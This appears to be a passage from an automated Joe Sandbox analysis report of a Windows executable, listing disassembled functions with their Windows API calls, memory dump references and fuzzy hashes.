                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: MessageSend
                              • String ID:
                              • API String ID: 3850602802-0
                              • Opcode ID: 236e71af2ab5509716104e28957e7b962cfbcf4ba6a1ba9531cfd5eb7baefe48
                              • Instruction ID: 15055718653181d31d708d6839b45d2b231db9ad4f5f2f8f789da6f3b04ac486
                              • Opcode Fuzzy Hash: 236e71af2ab5509716104e28957e7b962cfbcf4ba6a1ba9531cfd5eb7baefe48
                              • Instruction Fuzzy Hash: A7111275640208BFDB10DF68DC85F9AB7E8EF98750F11815AFD48DB340D6B1A9418FA0
                              Function 004301F8 Relevance: 6.1, APIs: 4, Instructions: 57windowCOMMON
                              Download Yara Rule
                              APIs
                              • CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00400000,00000000), ref: 00430242
                              • GetStockObject.GDI32(00000011), ref: 00430258
                              • SendMessageW.USER32(00000000,00000030,00000000), ref: 00430262
                              • ShowWindow.USER32(00000000,00000000), ref: 0043027D
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Window$CreateMessageObjectSendShowStock
                              • String ID:
                              • API String ID: 1358664141-0
                              • Opcode ID: ad6f98361a8c00dabf9f53bae98ff29a7c8ddeda354316ac2ad0817ad8c48d31
                              • Instruction ID: 87b955557270564ac2446a75def7de819d41fbc8528d619d8765837e6f615a12
                              • Opcode Fuzzy Hash: ad6f98361a8c00dabf9f53bae98ff29a7c8ddeda354316ac2ad0817ad8c48d31
                              • Instruction Fuzzy Hash: BD115172600504ABD755CF99DC59FDBB769AF8DB10F148319BA08932A0D774EC41CBA8
                              Function 00443C87 Relevance: 6.1, APIs: 4, Instructions: 57synchronizationthreadwindowCOMMON
                              Download Yara Rule
                              APIs
                              • GetCurrentThreadId.KERNEL32 ref: 00443CA6
                              • MessageBoxW.USER32(?,?,?,?), ref: 00443CDC
                              • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00443CF2
                              • CloseHandle.KERNEL32(00000000), ref: 00443CF9
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: CloseCurrentHandleMessageObjectSingleThreadWait
                              • String ID:
                              • API String ID: 2880819207-0
                              • Opcode ID: 229c650092e78496607f1920186e21dd31435e443465a7f1ce6d350790d3a3c2
                              • Instruction ID: e6f874550e00e623fb34483f391c95d80eb5f5bc6ce026338450b862d26ff76c
                              • Opcode Fuzzy Hash: 229c650092e78496607f1920186e21dd31435e443465a7f1ce6d350790d3a3c2
                              • Instruction Fuzzy Hash: 48112572804114ABD710CF68ED08ADF3FACDF99721F10026AFC0493381D6B09A1083E9
                              Function 00430B87 Relevance: 6.1, APIs: 4, Instructions: 53COMMON
                              Download Yara Rule
                              APIs
                              • GetWindowRect.USER32(?,?), ref: 00430BA2
                              • ScreenToClient.USER32(?,?), ref: 00430BC1
                              • ScreenToClient.USER32(?,?), ref: 00430BE2
                              • InvalidateRect.USER32(?,?,?,?,?), ref: 00430BFB
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ClientRectScreen$InvalidateWindow
                              • String ID:
                              • API String ID: 357397906-0
                              • Opcode ID: ae0d0d06dcef6ed583fb9704f0ef5e529f18a40629d10526419e4a4e3dd97404
                              • Instruction ID: ace0395ef2957b48f9d17fb026497d1a369c9e3160b5fb36bd9a4683c33ce433
                              • Opcode Fuzzy Hash: ae0d0d06dcef6ed583fb9704f0ef5e529f18a40629d10526419e4a4e3dd97404
                              • Instruction Fuzzy Hash: 561174B9D00209AFCB14DF98C8849AEFBB9FF98310F10855EE855A3304D774AA41CFA0
                              Function 00433908 Relevance: 6.0, APIs: 4, Instructions: 50COMMON
                              Download Yara Rule
                              APIs
                              • __wsplitpath.LIBCMT ref: 0043392E
                                • Part of subcall function 00413A0E: __wsplitpath_helper.LIBCMT ref: 00413A50
                              • __wsplitpath.LIBCMT ref: 00433950
                              • __wcsicoll.LIBCMT ref: 00433974
                              • __wcsicoll.LIBCMT ref: 0043398A
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: __wcsicoll__wsplitpath$__wsplitpath_helper
                              • String ID:
                              • API String ID: 1187119602-0
                              • Opcode ID: 68e3b32a9464b28f7030a0941ccdc911afb24839bc46986435f1213a6174ca5b
                              • Instruction ID: cee1712abd0eced5cc96ea34974ed2185298bb9760f8079e64959bf12be8e646
                              • Opcode Fuzzy Hash: 68e3b32a9464b28f7030a0941ccdc911afb24839bc46986435f1213a6174ca5b
                              • Instruction Fuzzy Hash: 650121B2C0011DAACB14DF95DC41DEEB37CAB48314F04869EA60956040EA759BD88FE4
                              Function 00434963 Relevance: 6.0, APIs: 4, Instructions: 46COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _wcslen$_malloc_wcscat_wcscpy
                              • String ID:
                              • API String ID: 1597257046-0
                              • Opcode ID: 3c6fc8acff7e2f2e7aee9de07fb73a2c390eddda5e8305f0b40f95221864db4e
                              • Instruction ID: 3a313011a65081929a098f39c1c59cfda42f2cbb237f2651e2b7e76e77134880
                              • Opcode Fuzzy Hash: 3c6fc8acff7e2f2e7aee9de07fb73a2c390eddda5e8305f0b40f95221864db4e
                              • Instruction Fuzzy Hash: 40016271200604BFC714EB66D885EABF3EDEFC9354B00852EFA168B651DB39E841C764
                              Function 0041F584 Relevance: 6.0, APIs: 4, Instructions: 41COMMON
                              Download Yara Rule
                              APIs
                              • GetEnvironmentStringsW.KERNEL32(00000000,00416513), ref: 0041F587
                              • __malloc_crt.LIBCMT ref: 0041F5B6
                              • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0041F5C3
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: EnvironmentStrings$Free__malloc_crt
                              • String ID:
                              • API String ID: 237123855-0
                              • Opcode ID: 07fe547740a9b68c76983245d8bba65816afc234b1fe2171e551a8e4c438482c
                              • Instruction ID: d6a98a4ee5591e13f27bf8bfb2f7094eea62761642478a01f8f101a8eeefaa10
                              • Opcode Fuzzy Hash: 07fe547740a9b68c76983245d8bba65816afc234b1fe2171e551a8e4c438482c
                              • Instruction Fuzzy Hash: D1F08277505220BB8A25BF35BC458DB277ADAD536531A443BF407C3206F66C8ECB82B9
                              Function 004556BE Relevance: 6.0, APIs: 4, Instructions: 40COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: DeleteObject$74285CursorDestroy
                              • String ID:
                              • API String ID: 3764361659-0
                              • Opcode ID: 7c154be5abaa40db753a7e31a7690d619ba9064fd0fbdb090dba25900d6c1ce3
                              • Instruction ID: b40ecd1d224a0eee13877c21127d2214a34fa415f2bf64fab3c1d23e87691ec4
                              • Opcode Fuzzy Hash: 7c154be5abaa40db753a7e31a7690d619ba9064fd0fbdb090dba25900d6c1ce3
                              • Instruction Fuzzy Hash: 60F03C74200601DBC720EF66EDD892B77ACEF49762B00452AFD01D7256D738DC49CB69
                              Function 0044B5E8 Relevance: 6.0, APIs: 4, Instructions: 37COMMON
                              Download Yara Rule
                              APIs
                              • RtlEnterCriticalSection.KERNEL32(?), ref: 0044B5F5
                              • InterlockedExchange.KERNEL32(?,?), ref: 0044B603
                              • RtlLeaveCriticalSection.KERNEL32(?), ref: 0044B61A
                              • RtlLeaveCriticalSection.KERNEL32(?), ref: 0044B62C
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: CriticalSection$Leave$EnterExchangeInterlocked
                              • String ID:
                              • API String ID: 2223660684-0
                              • Opcode ID: f874c154f8023f3ba0c2945d1949571bb5db8163ed48ea6956c7f1527a392a8b
                              • Instruction ID: 403f3527bf09fa8cde02bf077099102ce48e3ba47acdf7e4c6f4aa39df9fcef1
                              • Opcode Fuzzy Hash: f874c154f8023f3ba0c2945d1949571bb5db8163ed48ea6956c7f1527a392a8b
                              • Instruction Fuzzy Hash: 78F05E36241104AF96145F59FD488EBB3ACEBE96317005A3FE5418361087A6E845CBB5
                              Function 004472F1 Relevance: 6.0, APIs: 4, Instructions: 35COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 0044719B: DeleteObject.GDI32(00000000), ref: 004471D8
                                • Part of subcall function 0044719B: ExtCreatePen.GDI32(?,?,?,00000000,00000000), ref: 00447218
                                • Part of subcall function 0044719B: SelectObject.GDI32(?,00000000), ref: 00447228
                                • Part of subcall function 0044719B: BeginPath.GDI32(?), ref: 0044723D
                                • Part of subcall function 0044719B: SelectObject.GDI32(?,00000000), ref: 00447266
                              • MoveToEx.GDI32(?,?,?,00000000), ref: 00447317
                              • LineTo.GDI32(?,?,?), ref: 00447326
                              • EndPath.GDI32(?), ref: 00447336
                              • StrokePath.GDI32(?), ref: 00447344
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ObjectPath$Select$BeginCreateDeleteLineMoveStroke
                              • String ID:
                              • API String ID: 2783949968-0
                              • Opcode ID: 4ed419099ee229fcfe9d8e0d6407f17218ff084d459cc4b150d2894610f6bb04
                              • Instruction ID: af9b10de2b5e1f20f757a647655db97b0f5a8bbb123370319d9b3a4020b10ea9
                              • Opcode Fuzzy Hash: 4ed419099ee229fcfe9d8e0d6407f17218ff084d459cc4b150d2894610f6bb04
                              • Instruction Fuzzy Hash: EBF06770105258BBE721AF54ED4EFAF3B9CAB06310F108119FE01622D1C7B86A02CBA9
                              Function 0043646A Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON
                              Download Yara Rule
                              APIs
                              • SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00436489
                              • GetWindowThreadProcessId.USER32(?,00000000), ref: 0043649C
                              • GetCurrentThreadId.KERNEL32 ref: 004364A3
                              • AttachThreadInput.USER32(00000000), ref: 004364AA
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
                              • String ID:
                              • API String ID: 2710830443-0
                              • Opcode ID: 1738b650cb43453f600e53b83a6833ccb1a076b1e6f33d9371cddf7c9876f8ab
                              • Instruction ID: 8dfc3faa83ebd232c18032ab1719f084f6ac8c8028b438e2b3a9de4cfe148046
                              • Opcode Fuzzy Hash: 1738b650cb43453f600e53b83a6833ccb1a076b1e6f33d9371cddf7c9876f8ab
                              • Instruction Fuzzy Hash: 61F06D7168470477EB209BA09D0EFDF379CAB18B11F10C41ABB04BA0C0C6F8B50087AD
                              Function 00436C2B Relevance: 6.0, APIs: 4, Instructions: 29synchronizationCOMMON
                              Download Yara Rule
                              APIs
                              • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00436C38
                              • 74FB5030.USERENV(?,?,?,000000FF), ref: 00436C46
                              • CloseHandle.KERNEL32(?,?,000000FF), ref: 00436C56
                              • CloseHandle.KERNEL32(?,?,000000FF), ref: 00436C5B
                                • Part of subcall function 00436BA9: GetProcessHeap.KERNEL32(00000000,?), ref: 00436BB6
                                • Part of subcall function 00436BA9: HeapFree.KERNEL32(00000000), ref: 00436BBD
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: CloseHandleHeap$B5030FreeObjectProcessSingleWait
                              • String ID:
                              • API String ID: 562567718-0
                              • Opcode ID: b977b2fe1054b7dcb1d3ac6099765c2a2cefd6419b68de81ef4d64d3a5db7b42
                              • Instruction ID: 8fc8aea04bb3fa9100768a89291620bc24087d812574934f99790ad9b639e1d9
                              • Opcode Fuzzy Hash: b977b2fe1054b7dcb1d3ac6099765c2a2cefd6419b68de81ef4d64d3a5db7b42
                              • Instruction Fuzzy Hash: D9E0C97A510215ABC720EBA6DC48C5BB7ACEF99330311892EFD9683750DA74F840CFA4
                              Function 00472B63 Relevance: 6.0, APIs: 4, Instructions: 27COMMON
                              Download Yara Rule
                              APIs
                              • GetDesktopWindow.USER32 ref: 00472B63
                              • 7427A570.USER32(00000000), ref: 00472B6C
                              • 74284620.GDI32(00000000,0000000C), ref: 00472B78
                              • 7427A480.USER32(00000000,?), ref: 00472B99
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: 7427$74284620A480A570DesktopWindow
                              • String ID:
                              • API String ID: 2484511535-0
                              • Opcode ID: 25b4e9c05087b9933bd86976477b7eaa0c4512bf79646aedece74daf711fda7f
                              • Instruction ID: 759e45c534ddacfdadb557a06d932f9b55f62470d77a370046d272fbe6975a9a
                              • Opcode Fuzzy Hash: 25b4e9c05087b9933bd86976477b7eaa0c4512bf79646aedece74daf711fda7f
                              • Instruction Fuzzy Hash: BFF03071900205AFDB00EFB5DA4DA5DB7F4FB44315B10887EFD05D7251EAB59900DB54
                              Function 00472BB2 Relevance: 6.0, APIs: 4, Instructions: 27COMMON
                              Download Yara Rule
                              APIs
                              • GetDesktopWindow.USER32 ref: 00472BB2
                              • 7427A570.USER32(00000000), ref: 00472BBB
                              • 74284620.GDI32(00000000,00000074), ref: 00472BC7
                              • 7427A480.USER32(00000000,?), ref: 00472BE8
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: 7427$74284620A480A570DesktopWindow
                              • String ID:
                              • API String ID: 2484511535-0
                              • Opcode ID: cc3434de2b8b5abc20458b04240aea2a6e15dc869db4e5eb232345cc1bf11604
                              • Instruction ID: 439663e17c05eb9dd95bc161916493026628bcc8c78d0f5787bb5213a8e6c1b3
                              • Opcode Fuzzy Hash: cc3434de2b8b5abc20458b04240aea2a6e15dc869db4e5eb232345cc1bf11604
                              • Instruction Fuzzy Hash: FAF03075900205AFCB00EFB5DA8856DB7F4FB84315B10887EFD05D7250DB7999019B94
                              Function 0042F373 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 370COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _strncmp
                              • String ID: Q\E
                              • API String ID: 909875538-2189900498
                              • Opcode ID: 065ac9b34865f8fc92d580161c5db786cff1d7033ea8ce1a4bef46ec8c054806
                              • Instruction ID: ec78d02982e52cebfc3c5ce94050df53d12509a5c8006a296af1ac46f88178f7
                              • Opcode Fuzzy Hash: 065ac9b34865f8fc92d580161c5db786cff1d7033ea8ce1a4bef46ec8c054806
                              • Instruction Fuzzy Hash: 34C1A070A04279ABDF318E58A4507ABBBB5AF59310FE441BFD8D493341D2784D8ACB89
                              Function 00460D41 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 277comCOMMON
                              Download Yara Rule
                              APIs
                              • OleSetContainedObject.OLE32(00000000,00000001), ref: 00460F3E
                                • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                                • Part of subcall function 00445660: OleSetContainedObject.OLE32(?,00000000), ref: 004456DD
                                • Part of subcall function 00451B42: GetLastError.KERNEL32(?,?,00000000), ref: 00451BA0
                                • Part of subcall function 00451B42: VariantCopy.OLEAUT32(?,?), ref: 00451BF8
                                • Part of subcall function 00451B42: VariantCopy.OLEAUT32(?,?), ref: 00451C0E
                                • Part of subcall function 00451B42: VariantCopy.OLEAUT32(?,?), ref: 00451C27
                                • Part of subcall function 00451B42: VariantClear.OLEAUT32(?), ref: 00451CA1
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
